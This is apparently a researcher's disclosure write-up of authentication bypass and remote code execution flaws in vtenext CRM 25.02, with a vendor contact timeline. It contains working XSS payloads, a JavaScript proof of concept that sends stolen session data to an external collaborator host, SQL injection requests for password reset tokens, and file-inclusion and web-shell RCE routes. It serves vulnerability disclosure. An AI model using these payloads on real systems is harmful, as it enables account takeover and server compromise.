Vtenext 25.02: A three-way path to RCE
Multiple vulnerabilities in vtenext 25.02 and prior versions allow unauthenticated attackers to bypass authentication through three separate vectors, ultimately leading to remote code execution on the underlying server.

Summary
- Product: VTENEXT CRM
- Vendor: vtenext
- Severity: Critical
- Impact: Authentication Bypass and Remote Code Execution
- Affected Version(s): 25.02* and below
- Tested Version(s): 20.04, 24.02, 25.02, 25.02.1
*XSS vectors can still be exploited in version 25.02.1
Preface and history of the research
TL;DR: In my spare time, I happen to research vulnerabilities in products or services that I have encountered in the past and have pinned down over time. In the last few months, I decided to take a closer look at a CRM solution used by a fair number of small and medium-sized Italian companies, named VTENext.
What is vtenext?
VTENext is an Italian openclosed-source CRM platform available both On-Premises and in the Cloud, that seamlessly integrates with a business process management (BPMN) engine to offer comprehensive automation across marketing, sales, post‑sales, and customer support workflows.
Although vtenext began as an open-source CRM, it has evolved into a commercially driven product, with limited open access compared to its origins.
At the time of writing, two different main versions exist:
- Open Source version:
vtenext ce 20.04.2
(last update almost 4 years ago) - Latest version:
vtenext 25.02
(last update in July) - Trial version on https://www.vtenext.com/en/free-trial/
The research uncovered several critical flaws that, when combined, allowed (and still allow) users to completely bypass the login mechanism, authenticate on behalf of another user and, in most situations, execute remote code on the underlying server.
Following the discovery, we tried multiple times to contact the vtenext team and developers, both through official and unofficial channels, but we were never successful:
- On May 28th, we contacted vtenext for the first time through the official contact form on their site and by sending an email asking for a responsible disclosure process. We received a default message back, but no further contacts.
- On June 5th, we contacted vtenext for the second time. We received a default message back again, but no further contacts.
- On July 13th, we attempted to contact the developers of vtenext via a direct channel on LinkedIn, but without success.
Around July 24th, 2025, vtenext released version 25.02.1, which included a silent security patch for the third (and most severe) authentication bypass vector mentioned in the blog post. As of this writing, that particular vulnerability has been fixed. However, the other vulnerabilities remain exploitable and unaddressed.
August 13th update: After notification of the article's publication, the vtenext team responded:
"Unfortunately, previous communications sent from a Gmail address may have been marked as spam due to the sender's format (0xbro), and we therefore did not see the message. Some of the vulnerabilities reported have already been corrected recently, as they were detected during VAPT activities conducted by third parties that we commission periodically. We will contact you again as soon as we have the details of the resolution or for any further information, as we always do with independent researchers who write to us, as this is not the first time we have collaborated with freelance professionals. [...] The lack of response was not due to negligence, but to the circumstances described above"
With access to the legacy codebase but also to the stable latest working environment, I adopted a diff-testing approach focusing on static code analysis and debugging on a local instance of the open-source version, while conducting practical exploitation and dynamic testing against the latest demo release.
An initial semgrep scan using default PHP rules gave the following results:
semgrep --dataflow-traces --force-color --matching-explanations
--text-output=scans/$(date "+%Y%m%d").txt
--sarif-output=scans/$(date "+%Y%m%d").sarif
--no-git-ignore
--config /opt/semgrep-rules/php/lang/security/
run semgrep with default PHP rules

Long story short, 1000+ semgrep code findings later, I had three different authentication bypass vectors as well as some potential code execution primitives (and a module-based RCE by design, but more on this later).

Oh… and there’s probably a lot more to be found. For now, however, let’s take a closer look at the three attack vectors 🔎.
Authentication Bypass: Vector #1
Both the first and second attack vectors necessitate user interaction for successful exploitation and rely on a sequence of multiple vulnerabilities that collectively enable the attack.
The first vector involves an exploitation chain featuring the following:
- Reflected Cross-Site Scripting (XSS) via POST request
- CSRF token validation bypass via HTTP Method Tampering
- Session Cookie Information Disclosure
Reflected Cross-Site Scripting (XSS) via POST request
A reflected cross-site scripting vulnerability exists in the modules/Home/HomeWidgetBlockList.php
because of two issues:
- The
widgetId
keys contained in thewidgetInfoList
JSON arrays are reflected within the server response without proper sanitisation. - The JSON response is delivered with a
Content-Type: text/html
header instead of the correctContent-Type: application/json
, which allows the browser to interpret and execute embedded JavaScript or HTML content.


As a result, this combination enables the injection and execution of arbitrary JavaScript code within the application:

alert(1)
XSS payloadCSRF token validation bypass via HTTP Method Tampering
The application processes input parameters from several routes, utilising the $_REQUEST
global variable, therefore accepting both POST and GET HTTP requests.
...
widgetInfoList = Zend_Json::decode($_REQUEST['widgetInfoList']);
...
code/modules/Home/HomeWidgetBlockList.php
Due to this behaviour, combined with insufficient validation of CSRF tokens in include/utils/VteCsrf.php
, it is possible to entirely bypass the check for the __csrf_token
field.
This can be achieved by switching a POST request to a GET request and omitting the token parameter altogether.
/**
* The name of the magic CSRF token that will be placed in all forms, i.e.
* the contents of <input type="hidden" name="$name" value="CSRF-TOKEN" />
*/
'input-name' => '__csrf_token',
...
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true;
// csrf_start();
$name = $this->config['input-name'];
...
return $ok;
}
include/utils/VteCsrf.php
As a result, the previously POST-based XSS can be transformed into a traditional GET-based XSS, significantly lowering the exploitation barrier, as it eliminates the need to obtain or predict a valid CSRF token beforehand.

Reflected Cross-Site Scripting (XSS) via POST request:
POST /42870/index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Host: trial01.localhost
Cookie: [...TRUNCATED...]
Content-Length: 203
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: keep-alive
__csrf_token=sid%3A027909b0225a4f00eaa4a6c94a59a64ae885c639%2C1745487458
&widgetInfoList=[{"widgetId":"https://lujdstavpt0g06dxoiai9g8okfq6ew2l.oastify.com<img src onerror=alert(1)>","widgetType":"URL"}]
Reflected Cross-Site Scripting (XSS) via GET request:
GET /42870/index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://lujdstavpt0g06dxoiai9g8okfq6ew2l.oastify.com<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Host: trial01.localhost
Cookie: [...TRUNCATED...]
X-Requested-With: XMLHttpRequest
Connection: keep-alive

__csrf_token
Session Cookie Information Disclosure
Session cookies in VTENext are secured using the HttpOnly
flag, which helps mitigate the risk of arbitrary client-side scripts accessing the cookie.

An information disclosure on the Touch module, however, exposes the PHPSESSID value, effectively making the protection of the HttpOnly flag useless.

In the same way that phpinfo()
can be used to leak secured cookies 4 5 6, we can use our oracle to read the victim’s session and steal it through the XSS.

PoC
// Regex pattern to extract content between the comments
const regex = /<!-- startscrmprint -->(.*?)<!-- stopscrmprint -->/s;
async function fetchUrlContent() {
try {
const response = await fetch('https://trial01.localhost/43105/index.php?module=Touch&action=ws');
let secret = "";
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const content = await response.text();
console.log('Content fetched successfully:', content);
const result = regex.exec(content);
if (result) {
secret = result[1];
console.log('Extracted content:', secret);
}
return secret;
} catch (error) {
console.error('Error fetching content:', error);
return null;
}
}
let urlContent;
fetchUrlContent().then(content => {
urlContent = content;
console.log('Content stored in urlContent variable');
fetch('https://s92g9ah5ln52fac1qhuluyjwyn4es5gu.oastify.com/leak',{method: 'POST', body: JSON.stringify({leak: btoa(urlContent)})})
});
XSS payload
Encoded the XSS payload:
$ cat poc/scripts/bypass1.js | base64 -w0
Ly8gUmVnZXggcGF0dGVybiB...kKfSk7Cgo=
HTTP request performed by the victim which triggers the XSS and exfiltrates its session:
GET /43105/index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"asd><img%20src%20onerror=eval(atob('Ly8gUmVnZXggcGF0dGVybiB...kKfSk7Cgo'))>","widgetType":"Charts"}] HTTP/1.1
Host: trial01.localhost
Cookie: PHPSESSID=2jg513g8qjbeed7ujkico204qe
Server response:
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self'; child-src *; connect-src *; font-src *; img-src * data:; media-src *; object-src 'self'; script-src * 'unsafe-inline' 'unsafe-eval'; style-src * 'unsafe-inline'; worker-src 'self'; frame-ancestors 'self'
X-Content-Type-Options: nosniff
Referrer-Policy: origin
Permissions-Policy: camera=(), autoplay=(self), display-capture=(), fullscreen=(self), gamepad=(), geolocation=(self), microphone=(), web-share=()
Vary: Accept-Encoding
Content-Length: 3092
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
{"asd><img src onerror=eval(atob('Ly8gUmVnZXggcGF0dGVybiB...kKfSk7Cgo'))>":"<div class=\"hide_tab\" id=\"editRowmodrss_asd><img src onerror=eval(atob('Ly8gUmVnZXggcGF0dGVybiB...kKfSk7Cgo'))>\"> \t<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" valign=\"top\">\n\t\t\t\t\t<\/tr>\n\t<\/table>\n<\/div>\n\n\n"}
Request sent to the attacker’s server, exfiltrating the session value:
POST /leak HTTP/1.1
Host: s92g9ah5ln52fac1qhuluyjwyn4es5gu.oastify.com
Content-Length: 175
Content-Type: text/plain;charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Origin: https://trial01.localhost
Referer: https://trial01.localhost/
Priority: u=1, i
Connection: keep-alive
{"leak":"eyJzdWNjZX...amJlZWQ3dWpraWNvMjA0cWUifQ=="}
Demo:
Cross-Site Scripting vulnerability chain PoC video
Authentication Bypass: Vector #2
Just like the first one, the second attack vector also relies on user interaction to work.
It uses a similar chain of vulnerabilities to carry out the attack, composed of:
- Reflected Cross-Site Scripting (XSS) via POST request (like above)
- CSRF token validation bypass via HTTP Method Tampering (like above)
- SQL Injection
SQL Injection
Multiple SQL injections exist in modules/Fax/EditView.php
because of how the application builds and executes queries.
...
if($_REQUEST["internal_mailer"] == "true") {
$smarty->assign('INT_MAILER',"true");
$rec_type = $_REQUEST["type"];
$rec_id = $_REQUEST["rec_id"];
$fieldname = $_REQUEST["fieldname"];
...
if($rec_type == "record_id") {
$type = $_REQUEST['par_module'];
//check added for email link in user detail view
// crmv@64542
$modInstance = CRMEntity::getInstance($type);
if(substr($fieldname,0,2)=="cf")
$tablename = $modInstance->customFieldTable[0];
else
$tablename = $modInstance->table_name;
// crmv@64542e
if($type == "Users")
$q = "select $fieldname from $tablename where id=?";
elseif($type == "Leads")
$q = "select $fieldname from $tablename where leadaddressid=?";
elseif ($type == "Contacts")
$q = "select $fieldname from $tablename where contactid=?";
elseif ($type == "Accounts")
$q = "select $fieldname from $tablename where accountid=?";
elseif ($type == "Vendors")
$q = "select $fieldname from $tablename where vendorid=?";
$to_fax = $adb->query_result($adb->pquery($q, array($rec_id)),0,$fieldname);
} elseif ($rec_type == "email_addy") {
$to_fax = $_REQUEST["email_addy"];
}
$smarty->assign('TO_FAX',trim($to_fax,",").",");
modules/Fax/EditView.php
The code in question has two main problems:
- Although prepared statements are used with
$adb->pquery()
, the query that is executed ($q
) is created by injecting the user’s input directly inside it, thus making prepared statements useless. - Since we can specify directly via
$_REQUEST['fieldname']
the field we want to read, we can basically extract the value of any field within the tables we can access.

Given the points above, a legitimate request has the following format:
GET /index.php?module=Fax&action=EditView&internal_mailer=true
&par_module=Users&fieldname=user_name&type=record_id&rec_id=1 HTTP/1.1
Host: 127.0.0.1:8001
Cookie: [...TRUNCATED...]
The resulting query is:
select user_name from vte_users where id=1;
And the application adds the selected username to the fax recipients:

Because we can control via $_REQUEST['fieldname']
which field we want to extract, let’s search for other interesting data. With par_module=Users
, we can extract any column from the vte_users
table:

user_password
looks to me like a very good candidate, so let’s pass that column to the fieldname
HTTP field and extract the current user’s hashed password:
GET /index.php?module=Fax&action=EditView
&internal_mailer=true&par_module=Users&fieldname=user_password
&type=record_id&rec_id=1 HTTP/1.1
Host: trial01.localhost
Cookie: [...TRUNCATED...]
Resulting query:
select user_password from vte_users where id=1;

This is already interesting, but extracting the hash of a password then takes time to crack, and furthermore, does not guarantee 100% success, as the password could be complex and not easily recoverable.
We want an exploit that always works and doesn’t waste our time, right?
Since the query that is constructed directly integrates the input we pass to it, we can inject a subquery that allows us to extract any other field from the DB.

What other fields in the database could be helpful to us? I think password reset tokens could be just what we need!

In the same way as before, we can build a subquery that extracts the password reset token for a user of our choice, then use this token to set an arbitrary password and log in as that user.
GET /index.php?module=Fax&action=EditView&internal_mailer=true
&par_module=Users&fieldname=(select%20token%20from%20vte_userauthtoken%20where%20userid=1)
&type=record_id&rec_id=1 HTTP/1.1
Host: trial01.localhost
Cookie: [...TRUNCATED...]
The resulting query is:
select (select token from vte_userauthtoken where userid=1) from vte_users where id=1;

At this point, we can exfiltrate the token in the same way as we did with the session cookie and complete the attack.

Authentication Bypass: Vector #3
Account takeovers are cool, but the need for user interaction makes it less likely that a user will fall for it. This third attack vector, therefore, will not require any interaction from the user to be completed, just the way we like.
Arbitrary Password Reset
The hub/rpwd.php
password reset endpoint exposes an action
(change_password
) that does not enforce adequate security validations, making it possible to reset any user’s credentials with only their username.
At [1], the rpwd.php
endpoint creates a RecoverPwd()
object and calls the process()
function, forwarding at the same time, the current request.
require('../config.inc.php');
...
require_once('modules/Users/RecoverPwd.php');
RequestHandler::validateCSRFToken(); // crmv@171581
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST); // [1]
hub/rpwd.php
At [2], the action
field coming from the forwarded request is read and used at [3] to determine which function to call.
Providing “change_password” as the action
, we then enter at [4] the displayChangePwd()
function, which also takes an arbitrary user_name
value from the original forwarded request and uses it to instanciate at [5] the Users
object.
class RecoverPwd {
public function process(&$request, &$post) {
global $default_charset;
$action = $request['action']; // [2]
$smarty = $this->initSmarty();
header('Content-Type: text/html; charset=' . $default_charset);
if ($action == 'change_password') { // [3]
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
} elseif ($action == 'recover') {
$body = $this->displayRecoverLandingPage($smarty, $request['key']);
...
} elseif ($action == 'change_old_pwd_send') {
$body = $this->displayChangeOldPwdSend($smarty, $post['key'], $post['old_password'], $post['new_password']);
} else {
$body = $this->displayMainForm($smarty);
}
...
}
}
...
public function displayChangePwd($smarty, $username, $newpwd) { // [4]
// removed validateUserAuthtokenKey, there is already the CSRFT check in rpwd.php
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username); //[5]
$current_user->retrieve_entity_info($current_user->id,'Users');
...
if (!$current_user->checkPasswordCriteria($newpwd,$current_user->column_fields)) { // [6]
...
} elseif ($current_user->id == 1 && isFreeVersion()) { // [7]
... // for the demo version
} else {
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true);
emptyUserAuthtokenKey($this->user_auth_token_type,$current_user->id); // [8]
...
}
}
modules/Users/RecoverPwd.php
If the provided password satisfies the criteria [6] and the instance is not a trial or free version [7], the change_password
method of the User
object is invoked [8].
It receives a fake current password as the first argument, and an arbitrary new password, taken from the confirm_new_password
field of the forwarded request, as the second argument. It is also important to see that the function is called by setting skipOldPwdCheck
to true
.
At [9], the condition checks if the new password is not set or is an empty string, while at [10], the code checks if the current user is not an admin and if the old password check should not be skipped. If both conditions are true, the function verifies whether the provided current password is correct, but because the function was called with skipOldPwdCheck = true
this never happens.
Finally, at [11], the update is performed.
function change_password($user_password, $new_password, $dieOnError = true, $skipOldPwdCheck = false) // crmv@34947
{
...
if( !isset($new_password) || $new_password == "") { // [9]
...
}
if (!is_admin($current_user) && !$skipOldPwdCheck) { // [10]
...
}
//set new password [11]
$crypt_type = $this->DEFAULT_PASSWORD_CRYPT_TYPE;
$encrypted_new_password = $this->encrypt_password($new_password, $crypt_type);
$query = "UPDATE $this->table_name SET user_password=?, confirm_password=?, crypt_type=? where id=?";
$this->db->startTransaction();
$this->db->pquery($query, array($encrypted_new_password, $encrypted_new_password, $crypt_type, $this->id));
if($this->db->hasFailedTransaction()) {
if($dieOnError) {
die("error setting new password: [".$this->db->database->ErrorNo()."] ".
$this->db->database->ErrorMsg());
}
return false;
}
//crmv@30007
else{
$this->db->completeTransaction();
}
//crmv@30007e
$current_user->saveLastChangePassword($this->id); //crmv@28327
...
modules/Users/Users.php
This entire process for updating the password of an arbitrary user can be triggered with the following single HTTP request:
TO BE CONTINUED
To give customers time to apply the patch, the vendor asked to postpone the full disclosure of the Proof of Concept (PoC) for a few weeks.
See you in September.

Remote Code Execution
Once we have bypassed the login and obtained authenticated access (ideally with elevated privileges), we can achieve arbitrary code execution in at least two different ways, depending on the conditions we find ourselves in.
Multiple Local File Inclusions
The application contains multiple Local File Inclusion (LFI) vulnerabilities because it incorporates user input into file inclusion functions without proper validation or sanitisation.
In all identified cases, path traversal sequences (e.g., ../
) can be used to include arbitrary files, with the only limitation being that the target file must have a .php
extension.

Due to the fixes applied to address CVE-2023-46694 and the presence of a comprehensive — though not perfect, for obvious reasons — deny-list of malicious file extensions, no viable method was identified for uploading arbitrary .php
files for inclusion. Furthermore, no useful gadgets were found within the pre-existing code.
// files with one of these extensions will have '.txt' appended to their filename on upload
// upload_badext default value = php, php3, php4, php5, pl, cgi, py, asp, cfm, js, vbs, html, htm
//crmv@16312 crmv@189149 crmv@195993
$upload_badext = array(
'php', 'php3', 'php4', 'php5', 'pht', 'phtml', 'phps', 'phar',
'htm', 'html', 'xhtml', 'js', 'pl', 'py', 'rb',
'cgi', 'asp', 'cfm', 'vbs', 'jsp',
'exe', 'bin', 'bat', 'com', 'sh', 'dll', 'msi',
'htaccess', 'htpasswd'
);
//crmv@16312e crmv@189149e crmv@195993e
config.inc.php
In the absence of useful gadgets, as a proof of concept, I will therefore use the copyright.php
file, which is created during installation and displays the copyright banner.
Local File Inclusion in LayoutBlockListUtils.php
function deleteCustomField(){
global $adb,$table_prefix, $metaLogs; // crmv@49398
require_once('modules/Reports/Reports.php');
$fld_module = $_REQUEST["fld_module"];
...
if($fld_module == 'Calendar' || $fld_module == 'Events'){
$focus = CRMEntity::getInstance('Activity');
}else{
require_once("modules/$fld_module/$fld_module.php");
$focus = new $fld_module();
}
modules/Settings/LayoutBlockListUtils.php
We can trigger the Local File Inclusion by including in the query string the &fld_module=../../copyright
payload:

Local File Inclusion in ActivityAjax.php
...
require_once('modules/Calendar/'.$_REQUEST['file'].'.php');
...
modules/Calendar/ActivityAjax.php
We can exploit the Local File Inclusion in the same way as before:

Local File Inclusion in wdCalendar.php
//crmv@17001
if ($_REQUEST['subfile'] != '')
$file = $_REQUEST['subfile'];
else
$file = "sample";
...
// crmv@187406e
include("modules/Calendar/wdCalendar/$file.php");
modules/Calendar/wdCalendar.php
We can trigger the LFI by providing the following parameters: /index.php?module=Calendar&action=wdCalendar&subfile=../../../copyright

RCE using pearcmd.php
Depending on the installation type and the presence of additional software, such as other sites in virtual hosts or extra PHP modules/plugins, exploitable gadgets may be present. In such cases, these gadgets can be leveraged to our advantage, thanks to the ability to use path traversal to navigate the file system.
A famous example is the presence of the PEAR PHP framework in applications installed by default on many Docker containers that use PHP and most modern-day systems.
If pearcmd.php
is present on the system, this well-known technique 8 9 10 can be used to include it, create PHP files with arbitrary content within the web server directory (or anywhere, for later inclusion), ultimately leading to Remote Code Execution (RCE).


phpinfo()
)Module Upload
VTENext administrators can develop and upload custom modules, user-defined components or extensions that expand the standard functionality of the platform.

This functionality is accessible via the ModuleMaker and ModuleManager sections, where administrators can create new modules based on standard templates, manage existing ones, export installed modules, or import custom modules developed externally.

VTENext is built on top of Vtiger 5/6 core, and so are its modules. To keep things concise, I won’t delve into the full development process of a custom module here. However, below you’ll find the documentation provided by my assistant (ChatGPT, yes, I’m talking about you!), along with a basic module template to get you started.
- Vtiger Developer Guide
- Vtiger Module Developer Guide
- VtigerCRM_5.2.0_Vtlib.pdf
- https://github.com/0xb120/vtenext-research/tree/main/poc/webshell
In short, I created a simple module containing a classic PHP web shell and imported it into the platform via Settings → Module Settings → Custom Modules → Import New Module
.

This effectively gives us Remote Code Execution, by design:

Conclusion
Despite multiple attempts to responsibly disclose these vulnerabilities, the vendor failed to acknowledge or respond for over three months. Eventually, a silent patch was released, with no mention of the issue or credit given.
Although vtenext is a relatively unknown application worldwide, a fair number of companies in Italy use this solution.

It is concerning to see how some vendors neglect the security of the products they sell and fail to implement a responsible disclosure program to collaborate with researchers. All of this ultimately harms customers, particularly small and medium-sized businesses that often lack robust vulnerability and risk management strategies, leaving them unknowingly exposed to significant risks.
On August 13th, after notification of the article's publication, the vtenext team responded:
"Unfortunately, previous communications sent from a Gmail address may have been marked as spam due to the sender's format (0xbro), and we therefore did not see the message. Some of the vulnerabilities reported have already been corrected recently, as they were detected during VAPT activities conducted by third parties that we commission periodically. We will contact you again as soon as we have the details of the resolution or for any further information, as we always do with independent researchers who write to us, as this is not the first time we have collaborated with freelance professionals. [...] The lack of response was not due to negligence, but to the circumstances described above"
Due to its open-source nature, other applications derived from vtenext or those with similar origins may also share these same vulnerabilities, potentially increasing the total number of affected sites.
Disclosure Timeline
- 28/05/2025: Contacted vtenext for the first time through various communication channels, but did not receive any response.
- 05/06/2025: Contacted vtenext for the second time, but didn’t receive any response again.
- 09/06/2025: Submitted CVE Request 1879483 to MITRE (still awaiting official CVEs).
- 13/07/2025: Attempted to contact the developers of vtenext via a direct channel on LinkedIn, but without success.
- 24/07/2025: Vendor released version 25.02.1 containing a silent patch for the Arbitrary Password Reset vulnerability.
- 12/08/2025: Full disclosure, since a patch exists and the grace period has expired.